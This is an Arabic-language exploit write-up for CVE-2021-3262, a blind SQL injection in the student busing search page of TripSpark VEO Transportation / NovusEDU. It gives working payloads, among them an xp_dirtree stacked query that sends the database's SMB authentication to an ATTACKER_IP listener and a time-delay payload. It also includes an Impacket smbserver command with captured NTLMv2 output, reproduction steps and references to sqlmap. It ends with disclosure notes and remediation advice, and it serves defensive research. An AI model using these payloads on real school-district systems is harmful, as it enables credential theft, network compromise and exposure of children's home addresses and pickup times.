
CVE-2021-3262 - حقن SQL الأعمى في معلمة editOEN الخاصة بـ TripSpark VEO Transportation / NovusEDU. غير مصادق عليه، مواجه للإنترنت. الحمولات، الطلبات المشروحة، والأدلة.
حقن SQL في TripSpark VEO Transportation / NovusEDU
صفحة البحث العامة "معلومات نقل الطلاب" المرفقة مع TripSpark VEO Transportation تأخذ
مدخلات نص طلب POST غير مصادق عليها وتدمجها في استعلام SQL Server دون استخدام معاملات
(Parameterisation) أو تحقق من صحة من جانب الخادم. المعامل editOEN (حقل رقم الطالب)
قابل للحقن.
الحقن أعمى (Blind): لا يُرجع التطبيق أي أخطاء من قاعدة البيانات ولا أي محتوى تفاضلي
يستحق القراءة. ومع ذلك فهو قابل للاستغلال بالكامل خارج النطاق (Out of Band)، لأن اتصال
قاعدة البيانات يمكنه الوصول إلى master.dbo.xp_dirtree، مما يُجبر حساب خدمة SQL Server
على المصادقة الصادرة عبر SMB إلى مسار UNC يوفره المهاجم.
اكتُشفت أثناء اختبار اختراق خارجي. في المهمة الأصلية، كانت بيانات اعتماد حساب الخدمة الملتقطة هي نقطة الارتكاز التي أدت إلى اختراق كامل لمجال وغابة Active Directory الخاصة بالعميل.
نُشرت باسم CVE-2021-3262. اكتشفها وأبلغ عنها Sedric Louissaint من Show Up Show Out Security.
| CVE | CVE-2021-3262 |
| المنتج | TripSpark VEO Transportation / NovusEDU |
| الإصدارات المتأثرة | NovusEDU-2.2.x-XP_BB-20201123-184084, VEO--20201123-184084OS |
| مواطن الضعف | CWE-89: حقن SQL |
| CVSS 3.1 (NVD) | 9.8 حرجة CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (الباحث) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| تاريخ النشر | 2023-08-29 |
| اختُبرت على | Windows Server 2012 R2 Standard, SQL Server 2012 (SP3) 11.0.6020.0 (x64) |
| المصادقة المطلوبة | لا شيء. صفحة البحث مواجهة للإنترنت بحكم تصميمها. |
وصف NVD:
TripSpark VEO Transportation-2.2.x-XP_BB-20201123-184084 NovusEDU-2.2.x-XP_BB-20201123-184084 يسمحان بمدخلات بيانات غير آمنة في معاملات نص طلب POST من المستخدمين النهائيين دون تعقيم باستخدام منطق من جانب الخادم. كان من الممكن حقن أوامر SQL مخصصة في استعلامات بحث "معلومات نقل الطلاب".
تنشر المناطق التعليمية صفحة "معلومات نقل الطلاب" على مواقعها العامة حتى يتمكن أولياء الأمور من البحث عن تعيين الحافلة الخاص بالطالب. تطلب الصفحة رقم الطالب (N Number) وتاريخ الميلاد، وهي غير مصادق عليها عمدًا.

يُرسل حقل رقم الطالب N Number كمعامل editOEN. ويُرسل تاريخ الميلاد كمعاملات cboxMonth
وcboxDay وcboxYear. المعامل editOEN هو المعامل القابل للحقن.
على عكس العديد من تطبيقات ASP.NET من هذا الجيل، لا تعيد هذه الصفحة عرض أخطاء قاعدة البيانات. لا يوجد فرق مرئي بين استعلام سليم وآخر معطوب، لذا فإن تقنيات الحقن داخل النطاق (In-band) طريق مسدود.
الاستعلامات المكدسة (Stacked Queries) تُنفَّذ بالفعل، وهذا كل ما يلزم.
يقوم master.dbo.xp_dirtree بتعداد محتويات دليل. عند إعطائه مسار UNC، يصادق SQL Server
على المضيف الهدف عبر SMB قبل قراءته. توجيهه نحو مستمع (Listener) يحوّل الحقن الصامت إلى
حقن مرئي:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

الطلب هو طلب POST عادي من ASP.NET WebForms، يبلغ حجمه حوالي 4,700 بايت، معظمه من
__VIEWSTATE. الطلب الكامل في
poc/exploited-request.http، والحمولات في
poc/payloads.sql.

مع تشغيل smbserver.py من Impacket كمستمع على مضيف على الإنترنت العام، يقوم خادم قاعدة
البيانات داخل شبكة المنطقة التعليمية بالمصادقة الصادرة:
[*] Incoming connection (204.x.x.x,58497)
[*] AUTHENTICATE_MESSAGE (\SQLServices,<REDACTED>-VEO-DB)
[*] User <REDACTED>-VEO-DB\SQLServices authenticated successfully
[*] SQLServices::...

ثمة أمران يستحقان الذكر صراحة. أولاً، إنه نموذج غير مصادق عليه ومواجه للإنترنت يصل إلى قاعدة بيانات إنتاجية. ثانيًا، سُمح لخادم قاعدة البيانات المذكور بإجراء اتصالات SMB صادرة إلى مضيفات إنترنت عشوائية، وهو ما جعل الحقن الأعمى قابلًا للملاحظة.
إلى جانب الحقن نفسه، كانت بيانات اعتماد NTLMv2 الملتقطة لحساب خدمة SQL Server هي نقطة الارتكاز الأولية في المهمة الأصلية. ومن هناك تصاعد التقييم ليصل إلى اختراق كامل لمجال وغابة Active Directory الخاصة بالعميل.
البيانات المعرضة للخطر هي سجلات نقل الطلاب: الأسماء، وعناوين المنازل، والحافلة المخصصة، والمحطة المخصصة، وأوقات الالتقاط، ومسارات التعليم الخاص. وهو بمثابة جدول زمني يحدد أين سيتواجد أطفال يمكن التعرف عليهم في أوقات معلومة.
ضد نسخة مختبرية تملكها أو مخوَّل باختبارها:
sudo smbserver.py c . -smb2support
xp_dirtree من
poc/payloads.sql في حقل رقم الطالب N Number، مستبدلاً عنوان IP
بعنوانك الخاص. التقط الطلب POST وأعد إرساله بدلاً من الكتابة في المتصفح إذا كان الحقل
له حد طول من جانب العميل، لأن هذا الحد غير موجود من جانب الخادم.123'; waitfor delay '0:0:10';--
poc/
payloads.sql Detection, time-based and out-of-band payloads for editOEN
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations for a blind stacked-query injection
media/
01-student-busing-information-page.png
02-editoen-payload-in-burp.png
03-forced-auth-captured-impacket.png
04-exploited-http-request.png
المعرّفات الخاصة بالعملاء في اللقطات تم تنقيحها. عناوين المستمعين من المهمة الأصلية ولم تعد صالحة منذ زمن طويل. استبدلها بعناوينك الخاصة عند إعادة الإنتاج.
editOEN كمعامل، وستصبح
الحمولة سلسلة خاملة مهما كان محتواها.xp_dirtree
وإجراءات التخزين الموسعة الأخرى (Extended Stored Procedures).| التاريخ | الحدث |
|---|---|
| 2021 | اكتُشفت أثناء اختبار اختراق خارجي وأُبلغ بها TripSpark |
| 2023-08-29 | نُشرت CVE-2021-3262 في NVD بتقييم 9.8 حرجة |
نُشرت بعد الإفصاح، للاستخدام الدفاعي والتعليمي. لا تشغّل هذه الحمولات ضد أنظمة لا تملكها أو ليس لديك إذن كتابي باختبارها. إذا كنت تدير نشرًا لمنطقة تعليمية، فإن الإجراء المفيد هنا هو أن تسأل المورّد كتابيًا عما إذا كانت الاستعلامات خلف نماذجك العامة تستخدم معاملات (Parameterised) أم لا.